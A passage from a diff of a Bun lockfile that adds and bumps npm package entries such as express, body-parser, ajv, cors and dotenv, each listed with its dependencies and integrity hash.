"sha512-mFNylyeyqN93lfe/9CSxOGREz8cpzAhH+E93xJ4xWQf62V8sQ/24reV2nyzUWM6H6Xji+GGHpkbLe7pVoUEskg=="], + + "@types/express": ["@types/express@4.17.25", "", { "dependencies": { "@types/body-parser": "*", "@types/express-serve-static-core": "^4.17.33", "@types/qs": "*", "@types/serve-static": "^1" } }, "sha512-dVd04UKsfpINUnK0yBoYHDF3xu7xVH4BuDotC/xGuycx4CgbP48X/KF/586bcObxT0HENHXEU8Nqtu6NR+eKhw=="], + + "@types/express-serve-static-core": ["@types/express-serve-static-core@4.19.8", "", { "dependencies": { "@types/node": "*", "@types/qs": "*", "@types/range-parser": "*", "@types/send": "*" } }, "sha512-02S5fmqeoKzVZCHPZid4b8JH2eM5HzQLZWN2FohQEy/0eXTq8VXZfSN6Pcr3F6N9R/vNrj7cpgbhjie6m/1tCA=="], + + "@types/http-errors": ["@types/http-errors@2.0.5", "", {}, "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg=="], + + "@types/json-schema": ["@types/json-schema@7.0.15", "", {}, "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA=="], + + "@types/mime": ["@types/mime@1.3.5", "", {}, "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w=="], + "@types/mysql": ["@types/mysql@2.15.27", "", { "dependencies": { "@types/node": "*" } }, "sha512-YfWiV16IY0OeBfBCk8+hXKmdTKrKlwKN1MNKAPBu5JYxLwBEZl7QzeEpGnlZb3VMGJrrGmB84gXiH+ofs/TezA=="], - "@types/node": ["@types/node@22.19.7", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-MciR4AKGHWl7xwxkBa6xUGxQJ4VBOmPTF7sL+iGzuahOFaO0jHCsuEfS80pan1ef4gWId1oWOweIhrDEYLuaOw=="], + "@types/node": ["@types/node@22.19.11", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-BH7YwL6rA93ReqeQS1c4bsPpcfOmJasG+Fkr6Y59q83f9M1WcBRHR2vM+P9eOisYRcN3ujQoiZY8uk5W+1WL8w=="], "@types/pg": ["@types/pg@8.15.6", "", { "dependencies": { "@types/node": "*", "pg-protocol": "*", "pg-types": "^2.2.0" } }, "sha512-NoaMtzhxOrubeL/7UZuNTrejB4MPAJ0RpxZqXQf2qXuVlTPuG6Y8p4u9dKRaue4yjmC7ZhzVO2/Yyyn25znrPQ=="], @@ -281,110 +335,260 @@ "@types/qrcode-terminal": ["@types/qrcode-terminal@0.12.2", "", {}, "sha512-v+RcIEJ+Uhd6ygSQ0u5YYY7ZM+la7GgPbs0V/7l/kFs2uO4S8BcIUEMoP7za4DNIqNnUD5npf0A/7kBhrCKG5Q=="], + "@types/qs": ["@types/qs@6.14.0", "", {}, "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ=="], + + "@types/range-parser": ["@types/range-parser@1.2.7", "", {}, "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ=="], + "@types/semver": ["@types/semver@7.7.1", "", {}, "sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA=="], + "@types/send": ["@types/send@0.17.6", "", { "dependencies": { "@types/mime": "^1", "@types/node": "*" } }, "sha512-Uqt8rPBE8SY0RK8JB1EzVOIZ32uqy8HwdxCnoCOsYrvnswqmFZ/k+9Ikidlk/ImhsdvBsloHbAlewb2IEBV/Og=="], + + "@types/serve-static": ["@types/serve-static@1.15.10", "", { "dependencies": { "@types/http-errors": "*", "@types/node": "*", "@types/send": "<1" } }, "sha512-tRs1dB+g8Itk72rlSI2ZrW6vZg0YrLI81iQSTkMmOqnqCaNr/8Ek4VwWcN5vZgCYWbg/JJSGBlUaYGAOP73qBw=="], + "@types/tedious": ["@types/tedious@4.0.14", "", { "dependencies": { "@types/node": "*" } }, "sha512-KHPsfX/FoVbUGbyYvk1q9MMQHLPeRZhRJZdO45Q4YjvFkv4hMNghCWTvy7rdKessBsmtz4euWCWAB6/tVpI1Iw=="], + "accepts": ["accepts@1.3.8", "", { "dependencies": { "mime-types": "~2.1.34", "negotiator": "0.6.3" } }, "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw=="], + "acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="], "acorn-import-attributes": ["acorn-import-attributes@1.9.5", "", { "peerDependencies": { "acorn": "^8" } }, "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ=="], "agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="], + "ajv": ["ajv@8.18.0", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A=="], + + "ajv-formats": ["ajv-formats@3.0.1", "", { "dependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="], + "anymatch": ["anymatch@3.1.3", "", { "dependencies": { "normalize-path": "^3.0.0", "picomatch": "^2.0.4" } }, "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw=="], + "argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="], + + "array-flatten": ["array-flatten@1.1.1", "", {}, "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="], + "balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], - "baseline-browser-mapping": ["baseline-browser-mapping@2.9.18", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-e23vBV1ZLfjb9apvfPk4rHVu2ry6RIr2Wfs+O324okSidrX7pTAnEJPCh/O5BtRlr7QtZI7ktOP3vsqr7Z5XoA=="], + "base64-js": ["base64-js@1.5.1", "", {}, "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="], + + "baseline-browser-mapping": ["baseline-browser-mapping@2.9.19", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-ipDqC8FrAl/76p2SSWKSI+H9tFwm7vYqXQrItCuiVPt26Km0jS+NzSsBWAaBusvSbQcfJG+JitdMm+wZAgTYqg=="], "binary-extensions": ["binary-extensions@2.3.0", "", {}, "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw=="], "binpunch": ["binpunch@1.0.0", "", { "bin": { "binpunch": "dist/cli.js" } }, "sha512-ghxdoerLN3WN64kteDJuL4d9dy7gbvcqoADNRWBk6aQ5FrYH1EmPmREAdcdIdTNAA3uW3V38Env5OqH2lj+i+g=="], + "body-parser": ["body-parser@2.2.2", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.3", "http-errors": "^2.0.0", "iconv-lite": "^0.7.0", "on-finished": "^2.4.1", "qs": "^6.14.1", "raw-body": "^3.0.1", "type-is": "^2.0.1" } }, "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="], + "brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], "braces": ["braces@3.0.3", "", { "dependencies": { "fill-range": "^7.1.1" } }, "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA=="], "browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="], - "bun-types": ["bun-types@1.3.6", "", { "dependencies": { "@types/node": "*" } }, "sha512-OlFwHcnNV99r//9v5IIOgQ9Uk37gZqrNMCcqEaExdkVq3Avwqok1bJFmvGMCkCE0FqzdY8VMOZpfpR3lwI+CsQ=="], + "bun-types": ["bun-types@1.3.9", "", { "dependencies": { "@types/node": "*" } }, "sha512-+UBWWOakIP4Tswh0Bt0QD0alpTY8cb5hvgiYeWCMet9YukHbzuruIEeXC2D7nMJPB12kbh8C7XJykSexEqGKJg=="], + + "bytes": ["bytes@3.1.2", "", {}, "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="], - "caniuse-lite": ["caniuse-lite@1.0.30001766", "", {}, "sha512-4C0lfJ0/YPjJQHagaE9x2Elb69CIqEPZeG0anQt9SIvIoOH4a4uaRl73IavyO+0qZh6MDLH//DrXThEYKHkmYA=="], + "call-bind-apply-helpers": ["call-bind-apply-helpers@1.0.2", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2" } }, "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ=="], + + "call-bound": ["call-bound@1.0.4", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "get-intrinsic": "^1.3.0" } }, "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg=="], + + "caniuse-lite": ["caniuse-lite@1.0.30001770", "", {}, "sha512-x/2CLQ1jHENRbHg5PSId2sXq1CIO1CISvwWAj027ltMVG2UNgW+w9oH2+HzgEIRFembL8bUlXtfbBHR1fCg2xw=="], "chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="], "chokidar": ["chokidar@3.6.0", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw=="], - "citty": ["citty@0.2.0", "", {}, "sha512-8csy5IBFI2ex2hTVpaHN2j+LNE199AgiI7y4dMintrr8i0lQiFn+0AWMZrWdHKIgMOer65f8IThysYhoReqjWA=="], + "citty": ["citty@0.2.1", "", {}, "sha512-kEV95lFBhQgtogAPlQfJJ0WGVSokvLr/UEoFPiKKOXF7pl98HfUVUD0ejsuTCld/9xH9vogSywZ5KqHzXrZpqg=="], "cjs-module-lexer": ["cjs-module-lexer@2.2.0", "", {}, "sha512-4bHTS2YuzUvtoLjdy+98ykbNB5jS0+07EvFNXerqZQJ89F7DI6ET7OQo/HJuW6K0aVsKA9hj9/RVb2kQVOrPDQ=="], - "commander": ["commander@14.0.2", "", {}, "sha512-TywoWNNRbhoD0BXs1P3ZEScW8W5iKrnbithIl0YH+uCmBd0QpPOA8yc82DS3BIE5Ma6FnBVUsJ7wVUDz4dvOWQ=="], + "commander": ["commander@14.0.3", "", {}, "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw=="], + + "content-disposition": ["content-disposition@0.5.4", "", { "dependencies": { "safe-buffer": "5.2.1" } }, "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ=="], + + "content-type": ["content-type@1.0.5", "", {}, "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA=="], "convert-source-map": ["convert-source-map@2.0.0", "", {}, "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg=="], + "cookie": ["cookie@0.7.2", "", {}, "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w=="], + + "cookie-signature": ["cookie-signature@1.0.7", "", {}, "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA=="], + + "cors": ["cors@2.8.6", "", { "dependencies": { "object-assign": "^4", "vary": "^1" } }, "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw=="], + + "cross-spawn": ["cross-spawn@7.0.6", "", { "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA=="], + "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], "deepmerge": ["deepmerge@4.3.1", "", {}, "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A=="], - "dotenv": ["dotenv@16.6.1", "", {}, "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow=="], + "depd": ["depd@2.0.0", "", {}, "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="], - "electron-to-chromium": ["electron-to-chromium@1.5.278", "", {}, "sha512-dQ0tM1svDRQOwxnXxm+twlGTjr9Upvt8UFWAgmLsxEzFQxhbti4VwxmMjsDxVC51Zo84swW7FVCXEV+VAkhuPw=="], + "destroy": ["destroy@1.2.0", "", {}, "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg=="], + + "dotenv": ["dotenv@17.3.1", "", {}, "sha512-IO8C/dzEb6O3F9/twg6ZLXz164a2fhTnEWb95H23Dm4OuN+92NmEAlTrupP9VW6Jm3sO26tQlqyvyi4CsnY9GA=="], + + "dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="], + + "ee-first": ["ee-first@1.1.1", "", {}, "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="], + + "electron-to-chromium": ["electron-to-chromium@1.5.286", "", {}, "sha512-9tfDXhJ4RKFNerfjdCcZfufu49vg620741MNs26a9+bhLThdB+plgMeou98CAaHu/WATj2iHOOHTp1hWtABj2A=="], + + "encodeurl": ["encodeurl@2.0.0", "", {}, "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg=="], + + "es-define-property": ["es-define-property@1.0.1", "", {}, "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g=="], + + "es-errors": ["es-errors@1.3.0", "", {}, "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="], + + "es-object-atoms": ["es-object-atoms@1.1.1", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA=="], "esbuild": ["esbuild@0.25.12", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.12", "@esbuild/android-arm": "0.25.12", "@esbuild/android-arm64": "0.25.12", "@esbuild/android-x64": "0.25.12", "@esbuild/darwin-arm64": "0.25.12", "@esbuild/darwin-x64": "0.25.12", "@esbuild/freebsd-arm64": "0.25.12", "@esbuild/freebsd-x64": "0.25.12", "@esbuild/linux-arm": "0.25.12", "@esbuild/linux-arm64": "0.25.12", "@esbuild/linux-ia32": "0.25.12", "@esbuild/linux-loong64": "0.25.12", "@esbuild/linux-mips64el": "0.25.12", "@esbuild/linux-ppc64": "0.25.12", "@esbuild/linux-riscv64": "0.25.12", "@esbuild/linux-s390x": "0.25.12", "@esbuild/linux-x64": "0.25.12", "@esbuild/netbsd-arm64": "0.25.12", "@esbuild/netbsd-x64": "0.25.12", "@esbuild/openbsd-arm64": "0.25.12", "@esbuild/openbsd-x64": "0.25.12", "@esbuild/openharmony-arm64": "0.25.12", "@esbuild/sunos-x64": "0.25.12", "@esbuild/win32-arm64": "0.25.12", "@esbuild/win32-ia32": "0.25.12", "@esbuild/win32-x64": "0.25.12" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg=="], "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], + "escape-html": ["escape-html@1.0.3", "", {}, "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="], + + "escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="], + + "esprima": ["esprima@4.0.1", "", { "bin": { "esparse": "./bin/esparse.js", "esvalidate": "./bin/esvalidate.js" } }, "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A=="], + + "etag": ["etag@1.8.1", "", {}, "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg=="], + + "eventsource": ["eventsource@3.0.7", "", { "dependencies": { "eventsource-parser": "^3.0.1" } }, "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA=="], + + "eventsource-parser": ["eventsource-parser@3.0.6", "", {}, "sha512-Vo1ab+QXPzZ4tCa8SwIHJFaSzy4R6SHf7BY79rFBDf0idraZWAkYrDjDj8uWaSm3S2TK+hJ7/t1CEmZ7jXw+pg=="], + + "express": ["express@4.22.1", "", { "dependencies": { "accepts": "~1.3.8", "array-flatten": "1.1.1", "body-parser": "~1.20.3", "content-disposition": "~0.5.4", "content-type": "~1.0.4", "cookie": "~0.7.1", "cookie-signature": "~1.0.6", "debug": "2.6.9", "depd": "2.0.0", "encodeurl": "~2.0.0", "escape-html": "~1.0.3", "etag": "~1.8.1", "finalhandler": "~1.3.1", "fresh": "~0.5.2", "http-errors": "~2.0.0", "merge-descriptors": "1.0.3", "methods": "~1.1.2", "on-finished": "~2.4.1", "parseurl": "~1.3.3", "path-to-regexp": "~0.1.12", "proxy-addr": "~2.0.7", "qs": "~6.14.0", "range-parser": "~1.2.1", "safe-buffer": "5.2.1", "send": "~0.19.0", "serve-static": "~1.16.2", "setprototypeof": "1.2.0", "statuses": "~2.0.1", "type-is": "~1.6.18", "utils-merge": "1.0.1", "vary": "~1.1.2" } }, "sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g=="], + + "express-rate-limit": ["express-rate-limit@8.2.1", "", { "dependencies": { "ip-address": "10.0.1" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g=="], + + "extend-shallow": ["extend-shallow@2.0.1", "", { "dependencies": { "is-extendable": "^0.1.0" } }, "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug=="], + "fast-check": ["fast-check@4.5.3", "", { "dependencies": { "pure-rand": "^7.0.0" } }, "sha512-IE9csY7lnhxBnA8g/WI5eg/hygA6MGWJMSNfFRrBlXUciADEhS1EDB0SIsMSvzubzIlOBbVITSsypCsW717poA=="], + "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="], + + "fast-uri": ["fast-uri@3.1.0", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="], + "fdir": ["fdir@6.5.0", "", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="], "fill-range": ["fill-range@7.1.1", "", { "dependencies": { "to-regex-range": "^5.0.1" } }, "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg=="], + "finalhandler": ["finalhandler@1.3.2", "", { "dependencies": { "debug": "2.6.9", "encodeurl": "~2.0.0", "escape-html": "~1.0.3", "on-finished": "~2.4.1", "parseurl": "~1.3.3", "statuses": "~2.0.2", "unpipe": "~1.0.0" } }, "sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg=="], + "find-up": ["find-up@5.0.0", "", { "dependencies": { "locate-path": "^6.0.0", "path-exists": "^4.0.0" } }, "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng=="], + "forwarded": ["forwarded@0.2.0", "", {}, "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="], + "forwarded-parse": ["forwarded-parse@2.1.2", "", {}, "sha512-alTFZZQDKMporBH77856pXgzhEzaUVmLCDk+egLgIgHst3Tpndzz8MnKe+GzRJRfvVdn69HhpW7cmXzvtLvJAw=="], + "fresh": ["fresh@0.5.2", "", {}, "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q=="], + "fs.realpath": ["fs.realpath@1.0.0", "", {}, "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="], "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], + "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="], + "gensync": ["gensync@1.0.0-beta.2", "", {}, "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg=="], - "glob": ["glob@13.0.0", "", { "dependencies": { "minimatch": "^10.1.1", "minipass": "^7.1.2", "path-scurry": "^2.0.0" } }, "sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA=="], + "get-intrinsic": ["get-intrinsic@1.3.0", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "function-bind": "^1.1.2", "get-proto": "^1.0.1", "gopd": "^1.2.0", "has-symbols": "^1.1.0", "hasown": "^2.0.2", "math-intrinsics": "^1.1.0" } }, "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ=="], + + "get-proto": ["get-proto@1.0.1", "", { "dependencies": { "dunder-proto": "^1.0.1", "es-object-atoms": "^1.0.0" } }, "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g=="], + + "glob": ["glob@13.0.4", "", { "dependencies": { "minimatch": "^10.2.1", "minipass": "^7.1.2", "path-scurry": "^2.0.0" } }, "sha512-KACie1EOs9BIOMtenFaxwmYODWA3/fTfGSUnLhMJpXRntu1g+uL/Xvub5f8SCTppvo9q62Qy4LeOoUiaL54G5A=="], "glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="], + "gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="], + + "gray-matter": ["gray-matter@4.0.3", "", { "dependencies": { "js-yaml": "^3.13.1", 